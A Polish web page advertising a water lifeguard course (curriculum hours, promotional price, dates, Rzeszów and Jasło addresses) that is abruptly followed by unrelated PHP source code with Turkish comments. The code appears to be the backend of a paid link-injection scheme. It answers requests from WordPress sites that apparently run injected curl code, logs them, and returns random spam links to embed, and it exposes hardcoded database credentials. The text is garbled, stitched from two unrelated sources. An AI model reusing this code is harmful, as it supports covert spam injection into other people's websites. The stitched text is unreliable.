Kurs
na ratownika wodnego - poznan

Animated Text Scrolling Bar

Uwaga !! u nas możesz odbyć pełny pakiet kursów. Chcesz podjąć pracę po ukończeniu kursu Ratownika wodnego ? Potrzebujesz jeszcze kursu KPP oraz kwalifikację przydatną w ratownictwie wodnym.

legitymacja ratownik wodny

Kurs na ratownika wodnego

Kurs Ratownika Wodnego to intensywne szkolenie, które po ukończeniu umożliwia przystąpienie do egzaminu z nadaniem uprawnień zawodowych, uznawanych zarówno w kraju, jak i za granicą. Te cenne kwalifikacje pozwolą Ci pracować na basenach, kąpieliskach oraz innych obiektach wodnych.

 

Program szkolenia obejmuje co najmniej 63 godziny intensywnych zajęć, w tym 20 godzin wykładów teoretycznych i 43 godziny praktycznych, zgodnie z przepisami zawartymi w Rozporządzeniu Ministra Spraw Wewnętrznych z dnia 21 czerwca 2012 r. dotyczącymi szkoleń w ratownictwie wodnym. Po zdaniu egzaminu otrzymasz uprawnienia zawodowe, które nie posiadają ograniczenia terminowego ich ważności.

Cena promocyjna kursu wynosi:  1699 zł

PROMOCJA obowiązuje do 22 kwietnia 2024 !!

Przyprowadź dwie osoby ze sobą i zyskaj RABAT w wysokości 200 zł !!

Najbliższy termin kursu

24-30.04.2024

Sprawdź inne terminy

dlaczego warto wybrać nasz kurs na ratownika wodnego ?

Bezpieczeństwo osobiste i innych: Kurs ten dostarcza wiedzy i umiejętności potrzebnych do szybkiej i skutecznej reakcji w sytuacjach zagrożenia na wodzie. Pozwala to nie tylko zadbać o własne bezpieczeństwo, ale także pomagać innym w niebezpieczeństwie.

Cenne kwalifikacje zawodowe: Uzyskanie certyfikatu ratownika wodnego otwiera drzwi do pracy na basenach, kąpieliskach, a nawet innych obiektach wodnych. To nie tylko pasjonująca praca, ale także szansa na zdobycie doświadczenia zawodowego w sektorze, który ma realne potrzeby kadrowe.

Elastyczność i odpowiedzialność: Kurs na ratownika wodnego uczy zarządzania sytuacjami kryzysowymi, umiejętności pierwszej pomocy oraz obsługi specjalistycznego sprzętu ratunkowego. To pozwala być przygotowanym na różnorodne wyzwania i odpowiedzialnie reagować w przypadku wypadków na wodzie.

Ciągłe doskonalenie: Wiedza i umiejętności zdobyte podczas kursu nie tylko są wartościowe w momencie uzyskania certyfikatu. Ratownictwo wodne to obszar, w którym zawsze można się rozwijać, ucząc się nowych technik, procedur i dostosowując się do zmieniających się warunków.

✅ Możliwość pracy w różnych środowiskach:

Uzyskanie certyfikatu ratownika wodnego otwiera drzwi do pracy nie tylko na basenach czy kąpieliskach, ale także na plażach, ośrodkach wodnych, czy nawet podczas imprez plenerowych związanych z aktywnościami wodnymi.

Satysfakcja i pomoc innym: Praca jako ratownik wodny może być nie tylko satysfakcjonująca, ale też dająca poczucie spełnienia poprzez pomoc innym i zapewnienie im bezpieczeństwa w trudnych sytuacjach na wodzie.

✅ Elastyczne godziny pracy:

Praca ratownika wodnego często oferuje elastyczne godziny pracy, co może być atrakcyjne dla osób studiujących, poszukujących pracy dorywczej lub chcących połączyć pracę z innymi zobowiązaniami.

Rozwój umiejętności interpersonalnych: Praca jako ratownik wodny wymaga nie tylko umiejętności technicznych, ale także zdolności komunikacji i pracy w zespole. Kursy te często kładą nacisk na rozwój tych umiejętności, co może być przydatne w wielu dziedzinach życia.

Różnorodność obowiązków:

Praca jako ratownik wodny nie ogranicza się tylko do reagowania w sytuacjach awaryjnych. Może obejmować także edukację publiczną na temat bezpieczeństwa na wodzie, nadzór nad basenem czy też prowadzenie treningów ratowniczych.

Wybór kursu na ratownika wodnego może być nie tylko szansą na zdobycie nowych umiejętności, ale także na rozwój osobisty i zaangażowanie się w społeczność dbającą o bezpieczeństwo na wodzie.

📝 Nie zwlekaj !! Kliknij w przycisk, aby zapisać się na kurs na Ratownika wodnego i rozpocząć tę ważną podróż do posiadania umiejętności, które mogą uratować życie.

Wypełnij formularz już teraz i zdobądź niezbędną wiedzę! 🌟

Wypełnij formularz
  • Biuro Organizacji:
    ul. Ignacego Paderewskiego 51c/24
    35-328 Rzeszów
  • Siedziba Główna:
    ul. Mikołaja Kopernika 5
    38-200 Jasło
  • Dane kontaktowe:
    tel. 881 848 881,
    e-mail: biuro@pirkfis.pl,
    www.pirkfis.pl

header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>